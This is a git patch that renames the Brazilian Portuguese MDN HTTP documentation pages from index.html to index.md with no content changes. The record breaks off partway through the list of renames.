From 853ac9a6fdb3cc46035a744301f9c6dd297b0fc2 Mon Sep 17 00:00:00 2001 From: SphinxKnight Date: Thu, 6 Oct 2022 13:16:26 +0200 Subject: [PATCH 1/3] move *.html to *.md --- files/pt-br/web/http/authentication/{index.html => index.md} | 0 .../identifying_resources_on_the_web/{index.html => index.md} | 0 files/pt-br/web/http/basics_of_http/{index.html => index.md} | 0 .../mime_types/common_types/{index.html => index.md} | 0 .../web/http/basics_of_http/mime_types/{index.html => index.md} | 0 files/pt-br/web/http/caching/{index.html => index.md} | 0 files/pt-br/web/http/compression/{index.html => index.md} | 0 .../connection_management_in_http_1.x/{index.html => index.md} | 0 files/pt-br/web/http/content_negotiation/{index.html => index.md} | 0 .../list_of_default_accept_values/{index.html => index.md} | 0 files/pt-br/web/http/cookies/{index.html => index.md} | 0 .../http/cors/errors/corsdidnotsucceed/{index.html => index.md} | 0 .../cors/errors/corsmissingalloworigin/{index.html => index.md} | 0 .../errors/corsnotsupportingcredentials/{index.html => index.md} | 0 .../http/cors/errors/corsrequestnothttp/{index.html => index.md} | 0 files/pt-br/web/http/cors/errors/{index.html => index.md} | 0 files/pt-br/web/http/cors/{index.html => index.md} | 0 files/pt-br/web/http/csp/{index.html => index.md} | 0 files/pt-br/web/http/feature_policy/{index.html => index.md} | 0 .../feature_policy/using_feature_policy/{index.html => index.md} | 0 .../web/http/headers/accept-ch-lifetime/{index.html => index.md} | 0 files/pt-br/web/http/headers/accept-ch/{index.html => index.md} | 0 .../web/http/headers/accept-charset/{index.html => index.md} | 0 .../web/http/headers/accept-encoding/{index.html => index.md} | 0 .../web/http/headers/accept-language/{index.html => index.md} | 0 .../pt-br/web/http/headers/accept-patch/{index.html => index.md} | 0 .../pt-br/web/http/headers/accept-ranges/{index.html => index.md} | 0 files/pt-br/web/http/headers/accept/{index.html => index.md} | 0 .../access-control-allow-credentials/{index.html => index.md} | 0 .../headers/access-control-allow-headers/{index.html => index.md} | 0 .../headers/access-control-allow-methods/{index.html => index.md} | 0 .../headers/access-control-allow-origin/{index.html => index.md} | 0 .../access-control-expose-headers/{index.html => index.md} | 0 .../http/headers/access-control-max-age/{index.html => index.md} | 0 .../access-control-request-headers/{index.html => index.md} | 0 .../access-control-request-method/{index.html => index.md} | 0 files/pt-br/web/http/headers/age/{index.html => index.md} | 0 files/pt-br/web/http/headers/allow/{index.html => index.md} | 0 files/pt-br/web/http/headers/alt-svc/{index.html => index.md} | 0 .../pt-br/web/http/headers/authorization/{index.html => index.md} | 0 .../pt-br/web/http/headers/cache-control/{index.html => index.md} | 0 .../web/http/headers/clear-site-data/{index.html => index.md} | 0 files/pt-br/web/http/headers/connection/{index.html => index.md} | 0 .../web/http/headers/content-disposition/{index.html => index.md} | 0 .../web/http/headers/content-encoding/{index.html => index.md} | 0 .../web/http/headers/content-language/{index.html => index.md} | 0 .../web/http/headers/content-length/{index.html => index.md} | 0 .../web/http/headers/content-location/{index.html => index.md} | 0 .../pt-br/web/http/headers/content-range/{index.html => index.md} | 0 .../content-security-policy-report-only/{index.html => index.md} | 0 .../http/headers/content-security-policy/{index.html => index.md} | 0 .../pt-br/web/http/headers/content-type/{index.html => index.md} | 0 files/pt-br/web/http/headers/cookie/{index.html => index.md} | 0 .../headers/cross-origin-resource-policy/{index.html => index.md} | 0 files/pt-br/web/http/headers/date/{index.html => index.md} | 0 .../pt-br/web/http/headers/device-memory/{index.html => index.md} | 0 files/pt-br/web/http/headers/digest/{index.html => index.md} | 0 files/pt-br/web/http/headers/dnt/{index.html => index.md} | 0 files/pt-br/web/http/headers/dpr/{index.html => index.md} | 0 files/pt-br/web/http/headers/early-data/{index.html => index.md} | 0 files/pt-br/web/http/headers/etag/{index.html => index.md} | 0 files/pt-br/web/http/headers/expect-ct/{index.html => index.md} | 0 files/pt-br/web/http/headers/expect/{index.html => index.md} | 0 files/pt-br/web/http/headers/expires/{index.html => index.md} | 0 .../web/http/headers/feature-policy/{index.html => index.md} | 0 files/pt-br/web/http/headers/forwarded/{index.html => index.md} | 0 files/pt-br/web/http/headers/from/{index.html => index.md} | 0 files/pt-br/web/http/headers/host/{index.html => index.md} | 0 files/pt-br/web/http/headers/if-match/{index.html => index.md} | 0 .../web/http/headers/if-modified-since/{index.html => index.md} | 0 .../pt-br/web/http/headers/if-none-match/{index.html => index.md} | 0 files/pt-br/web/http/headers/if-range/{index.html => index.md} | 0 .../web/http/headers/if-unmodified-since/{index.html => index.md} | 0 files/pt-br/web/http/headers/{index.html => index.md} | 0 files/pt-br/web/http/headers/keep-alive/{index.html => index.md} | 0 .../web/http/headers/large-allocation/{index.html => index.md} | 0 .../pt-br/web/http/headers/last-modified/{index.html => index.md} | 0 files/pt-br/web/http/headers/link/{index.html => index.md} | 0 files/pt-br/web/http/headers/location/{index.html => index.md} | 0 files/pt-br/web/http/headers/nel/{index.html => index.md} | 0 files/pt-br/web/http/headers/origin/{index.html => index.md} | 0 files/pt-br/web/http/headers/pragma/{index.html => index.md} | 0 .../web/http/headers/proxy-authenticate/{index.html => index.md} | 0 .../web/http/headers/proxy-authorization/{index.html => index.md} | 0 files/pt-br/web/http/headers/range/{index.html => index.md} | 0 files/pt-br/web/http/headers/referer/{index.html => index.md} | 0 .../web/http/headers/referrer-policy/{index.html => index.md} | 0 files/pt-br/web/http/headers/retry-after/{index.html => index.md} | 0 files/pt-br/web/http/headers/save-data/{index.html => index.md} | 0 .../web/http/headers/sec-fetch-site/{index.html => index.md} | 0 .../pt-br/web/http/headers/server-timing/{index.html => index.md} | 0 files/pt-br/web/http/headers/server/{index.html => index.md} | 0 files/pt-br/web/http/headers/set-cookie/{index.html => index.md} | 0 .../web/http/headers/set-cookie/samesite/{index.html => index.md} | 0 files/pt-br/web/http/headers/sourcemap/{index.html => index.md} | 0 .../headers/strict-transport-security/{index.html => index.md} | 0 files/pt-br/web/http/headers/te/{index.html => index.md} | 0 .../web/http/headers/timing-allow-origin/{index.html => index.md} | 0 files/pt-br/web/http/headers/tk/{index.html => index.md} | 0 files/pt-br/web/http/headers/trailer/{index.html => index.md} | 0 .../web/http/headers/transfer-encoding/{index.html => index.md} | 0 .../headers/upgrade-insecure-requests/{index.html => index.md} | 0 files/pt-br/web/http/headers/user-agent/{index.html => index.md} | 0 files/pt-br/web/http/headers/vary/{index.html => index.md} | 0 files/pt-br/web/http/headers/via/{index.html => index.md} | 0 files/pt-br/web/http/headers/want-digest/{index.html => index.md} | 0 files/pt-br/web/http/headers/warning/{index.html => index.md} | 0 .../web/http/headers/www-authenticate/{index.html => index.md} | 0 .../http/headers/x-content-type-options/{index.html => index.md} | 0 .../http/headers/x-dns-prefetch-control/{index.html => index.md} | 0 .../web/http/headers/x-forwarded-for/{index.html => index.md} | 0 .../web/http/headers/x-forwarded-host/{index.html => index.md} | 0 .../web/http/headers/x-forwarded-proto/{index.html => index.md} | 0 .../web/http/headers/x-frame-options/{index.html => index.md} | 0 .../web/http/headers/x-xss-protection/{index.html => index.md} | 0 files/pt-br/web/http/{index.html => index.md} | 0 files/pt-br/web/http/messages/{index.html => index.md} | 0 files/pt-br/web/http/methods/connect/{index.html => index.md} | 0 files/pt-br/web/http/methods/delete/{index.html => index.md} | 0 files/pt-br/web/http/methods/get/{index.html => index.md} | 0 files/pt-br/web/http/methods/head/{index.html => index.md} | 0 files/pt-br/web/http/methods/{index.html => index.md} | 0 files/pt-br/web/http/methods/options/{index.html => index.md} | 0 files/pt-br/web/http/methods/patch/{index.html => index.md} | 0 files/pt-br/web/http/methods/post/{index.html => index.md} | 0 files/pt-br/web/http/methods/put/{index.html => index.md} | 0 files/pt-br/web/http/methods/trace/{index.html => index.md} | 0 files/pt-br/web/http/overview/{index.html => index.md} | 0 files/pt-br/web/http/redirections/{index.html => index.md} | 0 files/pt-br/web/http/session/{index.html => index.md} | 0 files/pt-br/web/http/status/100/{index.html => index.md} | 0 files/pt-br/web/http/status/101/{index.html => index.md} | 0 files/pt-br/web/http/status/103/{index.html => index.md} | 0 files/pt-br/web/http/status/200/{index.html => index.md} | 0 files/pt-br/web/http/status/201/{index.html => index.md} | 0 files/pt-br/web/http/status/202/{index.html => index.md} | 0 files/pt-br/web/http/status/203/{index.html => index.md} | 0 files/pt-br/web/http/status/204/{index.html => index.md} | 0 files/pt-br/web/http/status/205/{index.html => index.md} | 0 files/pt-br/web/http/status/206/{index.html => index.md} | 0 files/pt-br/web/http/status/300/{index.html => index.md} | 0 files/pt-br/web/http/status/301/{index.html => index.md} | 0 files/pt-br/web/http/status/302/{index.html => index.md} | 0 files/pt-br/web/http/status/303/{index.html => index.md} | 0 files/pt-br/web/http/status/304/{index.html => index.md} | 0 files/pt-br/web/http/status/307/{index.html => index.md} | 0 files/pt-br/web/http/status/308/{index.html => index.md} | 0 files/pt-br/web/http/status/400/{index.html => index.md} | 0 files/pt-br/web/http/status/401/{index.html => index.md} | 0 files/pt-br/web/http/status/402/{index.html => index.md} | 0 files/pt-br/web/http/status/403/{index.html => index.md} | 0 files/pt-br/web/http/status/404/{index.html => index.md} | 0 files/pt-br/web/http/status/405/{index.html => index.md} | 0 files/pt-br/web/http/status/406/{index.html => index.md} | 0 files/pt-br/web/http/status/407/{index.html => index.md} | 0 files/pt-br/web/http/status/408/{index.html => index.md} | 0 files/pt-br/web/http/status/409/{index.html => index.md} | 0 files/pt-br/web/http/status/410/{index.html => index.md} | 0 files/pt-br/web/http/status/411/{index.html => index.md} | 0 files/pt-br/web/http/status/412/{index.html => index.md} | 0 files/pt-br/web/http/status/413/{index.html => index.md} | 0 files/pt-br/web/http/status/414/{index.html => index.md} | 0 files/pt-br/web/http/status/415/{index.html => index.md} | 0 files/pt-br/web/http/status/416/{index.html => index.md} | 0 files/pt-br/web/http/status/417/{index.html => index.md} | 0 files/pt-br/web/http/status/418/{index.html => index.md} | 0 files/pt-br/web/http/status/422/{index.html => index.md} | 0 files/pt-br/web/http/status/425/{index.html => index.md} | 0 files/pt-br/web/http/status/426/{index.html => index.md} | 0 files/pt-br/web/http/status/428/{index.html => index.md} | 0 files/pt-br/web/http/status/429/{index.html => index.md} | 0 files/pt-br/web/http/status/431/{index.html => index.md} | 0 files/pt-br/web/http/status/451/{index.html => index.md} | 0 files/pt-br/web/http/status/500/{index.html => index.md} | 0 files/pt-br/web/http/status/501/{index.html => index.md} | 0 files/pt-br/web/http/status/502/{index.html => index.md} | 0 files/pt-br/web/http/status/503/{index.html => index.md} | 0 files/pt-br/web/http/status/504/{index.html => index.md} | 0 files/pt-br/web/http/status/505/{index.html => index.md} | 0 files/pt-br/web/http/status/506/{index.html => index.md} | 0 files/pt-br/web/http/status/507/{index.html => index.md} | 0 files/pt-br/web/http/status/508/{index.html => index.md} | 0 files/pt-br/web/http/status/510/{index.html => index.md} | 0 files/pt-br/web/http/status/511/{index.html => index.md} | 0 files/pt-br/web/http/status/{index.html => index.md} | 0 185 files changed, 0 insertions(+), 0 deletions(-) rename files/pt-br/web/http/authentication/{index.html => index.md} (100%) rename files/pt-br/web/http/basics_of_http/identifying_resources_on_the_web/{index.html => index.md} (100%) rename files/pt-br/web/http/basics_of_http/{index.html => index.md} (100%) rename files/pt-br/web/http/basics_of_http/mime_types/common_types/{index.html => index.md} (100%) rename files/pt-br/web/http/basics_of_http/mime_types/{index.html => index.md} (100%) rename files/pt-br/web/http/caching/{index.html => index.md} (100%) rename files/pt-br/web/http/compression/{index.html => index.md} (100%) rename files/pt-br/web/http/connection_management_in_http_1.x/{index.html => index.md} (100%) rename files/pt-br/web/http/content_negotiation/{index.html => index.md} (100%) rename files/pt-br/web/http/content_negotiation/list_of_default_accept_values/{index.html => index.md} (100%) rename files/pt-br/web/http/cookies/{index.html => index.md} (100%) rename files/pt-br/web/http/cors/errors/corsdidnotsucceed/{index.html => index.md} (100%) rename files/pt-br/web/http/cors/errors/corsmissingalloworigin/{index.html => index.md} (100%) rename files/pt-br/web/http/cors/errors/corsnotsupportingcredentials/{index.html => index.md} (100%) rename files/pt-br/web/http/cors/errors/corsrequestnothttp/{index.html => index.md} (100%) rename files/pt-br/web/http/cors/errors/{index.html => index.md} (100%) rename files/pt-br/web/http/cors/{index.html => index.md} (100%) rename files/pt-br/web/http/csp/{index.html => index.md} (100%) rename files/pt-br/web/http/feature_policy/{index.html => index.md} (100%) rename files/pt-br/web/http/feature_policy/using_feature_policy/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/accept-ch-lifetime/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/accept-ch/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/accept-charset/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/accept-encoding/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/accept-language/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/accept-patch/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/accept-ranges/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/accept/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/access-control-allow-credentials/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/access-control-allow-headers/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/access-control-allow-methods/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/access-control-allow-origin/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/access-control-expose-headers/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/access-control-max-age/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/access-control-request-headers/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/access-control-request-method/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/age/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/allow/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/alt-svc/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/authorization/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/cache-control/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/clear-site-data/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/connection/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/content-disposition/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/content-encoding/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/content-language/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/content-length/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/content-location/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/content-range/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/content-security-policy-report-only/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/content-security-policy/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/content-type/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/cookie/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/cross-origin-resource-policy/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/date/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/device-memory/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/digest/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/dnt/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/dpr/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/early-data/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/etag/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/expect-ct/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/expect/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/expires/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/feature-policy/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/forwarded/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/from/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/host/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/if-match/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/if-modified-since/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/if-none-match/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/if-range/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/if-unmodified-since/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/keep-alive/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/large-allocation/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/last-modified/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/link/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/location/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/nel/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/origin/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/pragma/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/proxy-authenticate/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/proxy-authorization/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/range/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/referer/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/referrer-policy/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/retry-after/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/save-data/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/sec-fetch-site/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/server-timing/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/server/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/set-cookie/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/set-cookie/samesite/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/sourcemap/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/strict-transport-security/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/te/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/timing-allow-origin/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/tk/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/trailer/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/transfer-encoding/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/upgrade-insecure-requests/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/user-agent/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/vary/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/via/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/want-digest/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/warning/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/www-authenticate/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/x-content-type-options/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/x-dns-prefetch-control/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/x-forwarded-for/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/x-forwarded-host/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/x-forwarded-proto/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/x-frame-options/{index.html => index.md} (100%) rename files/pt-br/web/http/headers/x-xss-protection/{index.html => index.md} (100%) rename files/pt-br/web/http/{index.html => index.md} (100%) rename files/pt-br/web/http/messages/{index.html => index.md} (100%) rename files/pt-br/web/http/methods/connect/{index.html => index.md} (100%) rename files/pt-br/web/http/methods/delete/{index.html => index.md} (100%) rename files/pt-br/web/http/methods/get/{index.html => index.md} (100%) rename files/pt-br/web/http/methods/head/{index.html => index.md} (100%) rename files/pt-br/web/http/methods/{index.html => index.md} (100%) rename files/pt-br/web/http/methods/options/{index.html => index.md} (100%) rename files/pt-br/web/http/methods/patch/{index.html => index.md} (100%) rename files/pt-br/web/http/methods/post/{index.html => index.md} (100%) rename files/pt-br/web/http/methods/put/{index.html => index.md} (100%) rename files/pt-br/web/http/methods/trace/{index.html => index.md} (100%) rename files/pt-br/web/http/overview/{index.html => index.md} (100%) rename files/pt-br/web/http/redirections/{index.html => index.md} (100%) rename files/pt-br/web/http/session/{index.html => index.md} (100%) rename files/pt-br/web/http/status/100/{index.html => index.md} (100%) rename files/pt-br/web/http/status/101/{index.html => index.md} (100%) rename files/pt-br/web/http/status/103/{index.html => index.md} (100%) rename files/pt-br/web/http/status/200/{index.html => index.md} (100%) rename files/pt-br/web/http/status/201/{index.html => index.md} (100%) rename files/pt-br/web/http/status/202/{index.html => index.md} (100%) rename files/pt-br/web/http/status/203/{index.html => index.md} (100%) rename files/pt-br/web/http/status/204/{index.html => index.md} (100%) rename files/pt-br/web/http/status/205/{index.html => index.md} (100%) rename files/pt-br/web/http/status/206/{index.html => index.md} (100%) rename files/pt-br/web/http/status/300/{index.html => index.md} (100%) rename files/pt-br/web/http/status/301/{index.html => index.md} (100%) rename files/pt-br/web/http/status/302/{index.html => index.md} (100%) rename files/pt-br/web/http/status/303/{index.html => index.md} (100%) rename files/pt-br/web/http/status/304/{index.html => index.md} (100%) rename files/pt-br/web/http/status/307/{index.html => index.md} (100%) rename files/pt-br/web/http/status/308/{index.html => index.md} (100%) rename files/pt-br/web/http/status/400/{index.html => index.md} (100%) rename files/pt-br/web/http/status/401/{index.html => index.md} (100%) rename files/pt-br/web/http/status/402/{index.html => index.md} (100%) rename files/pt-br/web/http/status/403/{index.html => index.md} (100%) rename files/pt-br/web/http/status/404/{index.html => index.md} (100%) rename files/pt-br/web/http/status/405/{index.html => index.md} (100%) rename files/pt-br/web/http/status/406/{index.html => index.md} (100%) rename files/pt-br/web/http/status/407/{index.html => index.md} (100%) rename files/pt-br/web/http/status/408/{index.html => index.md} (100%) rename files/pt-br/web/http/status/409/{index.html => index.md} (100%) rename files/pt-br/web/http/status/410/{index.html => index.md} (100%) rename files/pt-br/web/http/status/411/{index.html => index.md} (100%) rename files/pt-br/web/http/status/412/{index.html => index.md} (100%) rename files/pt-br/web/http/status/413/{index.html => index.md} (100%) rename files/pt-br/web/http/status/414/{index.html => index.md} (100%) rename files/pt-br/web/http/status/415/{index.html => index.md} (100%) rename files/pt-br/web/http/status/416/{index.html => index.md} (100%) rename files/pt-br/web/http/status/417/{index.html => index.md} (100%) rename files/pt-br/web/http/status/418/{index.html => index.md} (100%) rename files/pt-br/web/http/status/422/{index.html => index.md} (100%) rename files/pt-br/web/http/status/425/{index.html => index.md} (100%) rename files/pt-br/web/http/status/426/{index.html => index.md} (100%) rename files/pt-br/web/http/status/428/{index.html => index.md} (100%) rename files/pt-br/web/http/status/429/{index.html => index.md} (100%) rename files/pt-br/web/http/status/431/{index.html => index.md} (100%) rename files/pt-br/web/http/status/451/{index.html => index.md} (100%) rename files/pt-br/web/http/status/500/{index.html => index.md} (100%) rename files/pt-br/web/http/status/501/{index.html => index.md} (100%) rename files/pt-br/web/http/status/502/{index.html => index.md} (100%) rename files/pt-br/web/http/status/503/{index.html => index.md} (100%) rename files/pt-br/web/http/status/504/{index.html => index.md} (100%) rename files/pt-br/web/http/status/505/{index.html => index.md} (100%) rename files/pt-br/web/http/status/506/{index.html => index.md} (100%) rename files/pt-br/web/http/status/507/{index.html => index.md} (100%) rename files/pt-br/web/http/status/508/{index.html => index.md} (100%) rename files/pt-br/web/http/status/510/{index.html => index.md} (100%) rename files/pt-br/web/http/status/511/{index.html => index.md} (100%) rename files/pt-br/web/http/status/{index.html => index.md} (100%) diff --git a/files/pt-br/web/http/authentication/index.html b/files/pt-br/web/http/authentication/index.md similarity index 100% rename from files/pt-br/web/http/authentication/index.html rename to files/pt-br/web/http/authentication/index.md diff --git a/files/pt-br/web/http/basics_of_http/identifying_resources_on_the_web/index.html b/files/pt-br/web/http/basics_of_http/identifying_resources_on_the_web/index.md similarity index 100% rename from files/pt-br/web/http/basics_of_http/identifying_resources_on_the_web/index.html rename to files/pt-br/web/http/basics_of_http/identifying_resources_on_the_web/index.md diff --git a/files/pt-br/web/http/basics_of_http/index.html b/files/pt-br/web/http/basics_of_http/index.md similarity index 100% rename from files/pt-br/web/http/basics_of_http/index.html rename to files/pt-br/web/http/basics_of_http/index.md diff --git a/files/pt-br/web/http/basics_of_http/mime_types/common_types/index.html b/files/pt-br/web/http/basics_of_http/mime_types/common_types/index.md similarity index 100% rename from files/pt-br/web/http/basics_of_http/mime_types/common_types/index.html rename to files/pt-br/web/http/basics_of_http/mime_types/common_types/index.md diff --git a/files/pt-br/web/http/basics_of_http/mime_types/index.html b/files/pt-br/web/http/basics_of_http/mime_types/index.md similarity index 100% rename from files/pt-br/web/http/basics_of_http/mime_types/index.html rename to files/pt-br/web/http/basics_of_http/mime_types/index.md diff --git a/files/pt-br/web/http/caching/index.html b/files/pt-br/web/http/caching/index.md similarity index 100% rename from files/pt-br/web/http/caching/index.html rename to files/pt-br/web/http/caching/index.md diff --git a/files/pt-br/web/http/compression/index.html b/files/pt-br/web/http/compression/index.md similarity index 100% rename from files/pt-br/web/http/compression/index.html rename to files/pt-br/web/http/compression/index.md diff --git a/files/pt-br/web/http/connection_management_in_http_1.x/index.html b/files/pt-br/web/http/connection_management_in_http_1.x/index.md similarity index 100% rename from files/pt-br/web/http/connection_management_in_http_1.x/index.html rename to files/pt-br/web/http/connection_management_in_http_1.x/index.md diff --git a/files/pt-br/web/http/content_negotiation/index.html b/files/pt-br/web/http/content_negotiation/index.md similarity index 100% rename from files/pt-br/web/http/content_negotiation/index.html rename to files/pt-br/web/http/content_negotiation/index.md diff --git a/files/pt-br/web/http/content_negotiation/list_of_default_accept_values/index.html b/files/pt-br/web/http/content_negotiation/list_of_default_accept_values/index.md similarity index 100% rename from files/pt-br/web/http/content_negotiation/list_of_default_accept_values/index.html rename to files/pt-br/web/http/content_negotiation/list_of_default_accept_values/index.md diff --git a/files/pt-br/web/http/cookies/index.html b/files/pt-br/web/http/cookies/index.md similarity index 100% rename from files/pt-br/web/http/cookies/index.html rename to files/pt-br/web/http/cookies/index.md diff --git a/files/pt-br/web/http/cors/errors/corsdidnotsucceed/index.html b/files/pt-br/web/http/cors/errors/corsdidnotsucceed/index.md similarity index 100% rename from files/pt-br/web/http/cors/errors/corsdidnotsucceed/index.html rename to files/pt-br/web/http/cors/errors/corsdidnotsucceed/index.md diff --git a/files/pt-br/web/http/cors/errors/corsmissingalloworigin/index.html b/files/pt-br/web/http/cors/errors/corsmissingalloworigin/index.md similarity index 100% rename from files/pt-br/web/http/cors/errors/corsmissingalloworigin/index.html rename to files/pt-br/web/http/cors/errors/corsmissingalloworigin/index.md diff --git a/files/pt-br/web/http/cors/errors/corsnotsupportingcredentials/index.html b/files/pt-br/web/http/cors/errors/corsnotsupportingcredentials/index.md similarity index 100% rename from files/pt-br/web/http/cors/errors/corsnotsupportingcredentials/index.html rename to files/pt-br/web/http/cors/errors/corsnotsupportingcredentials/index.md diff --git a/files/pt-br/web/http/cors/errors/corsrequestnothttp/index.html b/files/pt-br/web/http/cors/errors/corsrequestnothttp/index.md similarity index 100% rename from files/pt-br/web/http/cors/errors/corsrequestnothttp/index.html rename to files/pt-br/web/http/cors/errors/corsrequestnothttp/index.md diff --git a/files/pt-br/web/http/cors/errors/index.html b/files/pt-br/web/http/cors/errors/index.md similarity index 100% rename from files/pt-br/web/http/cors/errors/index.html rename to files/pt-br/web/http/cors/errors/index.md diff --git a/files/pt-br/web/http/cors/index.html b/files/pt-br/web/http/cors/index.md similarity index 100% rename from files/pt-br/web/http/cors/index.html rename to files/pt-br/web/http/cors/index.md diff --git a/files/pt-br/web/http/csp/index.html b/files/pt-br/web/http/csp/index.md similarity index 100% rename from files/pt-br/web/http/csp/index.html rename to files/pt-br/web/http/csp/index.md diff --git a/files/pt-br/web/http/feature_policy/index.html b/files/pt-br/web/http/feature_policy/index.md similarity index 100% rename from files/pt-br/web/http/feature_policy/index.html rename to files/pt-br/web/http/feature_policy/index.md diff --git a/files/pt-br/web/http/feature_policy/using_feature_policy/index.html b/files/pt-br/web/http/feature_policy/using_feature_policy/index.md similarity index 100% rename from files/pt-br/web/http/feature_policy/using_feature_policy/index.html rename to files/pt-br/web/http/feature_policy/using_feature_policy/index.md diff --git a/files/pt-br/web/http/headers/accept-ch-lifetime/index.html b/files/pt-br/web/http/headers/accept-ch-lifetime/index.md similarity index 100% rename from files/pt-br/web/http/headers/accept-ch-lifetime/index.html rename to files/pt-br/web/http/headers/accept-ch-lifetime/index.md diff --git a/files/pt-br/web/http/headers/accept-ch/index.html b/files/pt-br/web/http/headers/accept-ch/index.md similarity index 100% rename from files/pt-br/web/http/headers/accept-ch/index.html rename to files/pt-br/web/http/headers/accept-ch/index.md diff --git a/files/pt-br/web/http/headers/accept-charset/index.html b/files/pt-br/web/http/headers/accept-charset/index.md similarity index 100% rename from files/pt-br/web/http/headers/accept-charset/index.html rename to files/pt-br/web/http/headers/accept-charset/index.md diff --git a/files/pt-br/web/http/headers/accept-encoding/index.html b/files/pt-br/web/http/headers/accept-encoding/index.md similarity index 100% rename from files/pt-br/web/http/headers/accept-encoding/index.html rename to files/pt-br/web/http/headers/accept-encoding/index.md diff --git a/files/pt-br/web/http/headers/accept-language/index.html b/files/pt-br/web/http/headers/accept-language/index.md similarity index 100% rename from files/pt-br/web/http/headers/accept-language/index.html rename to files/pt-br/web/http/headers/accept-language/index.md diff --git a/files/pt-br/web/http/headers/accept-patch/index.html b/files/pt-br/web/http/headers/accept-patch/index.md similarity index 100% rename from files/pt-br/web/http/headers/accept-patch/index.html rename to files/pt-br/web/http/headers/accept-patch/index.md diff --git a/files/pt-br/web/http/headers/accept-ranges/index.html b/files/pt-br/web/http/headers/accept-ranges/index.md similarity index 100% rename from files/pt-br/web/http/headers/accept-ranges/index.html rename to files/pt-br/web/http/headers/accept-ranges/index.md diff --git a/files/pt-br/web/http/headers/accept/index.html b/files/pt-br/web/http/headers/accept/index.md similarity index 100% rename from files/pt-br/web/http/headers/accept/index.html rename to files/pt-br/web/http/headers/accept/index.md diff --git a/files/pt-br/web/http/headers/access-control-allow-credentials/index.html b/files/pt-br/web/http/headers/access-control-allow-credentials/index.md similarity 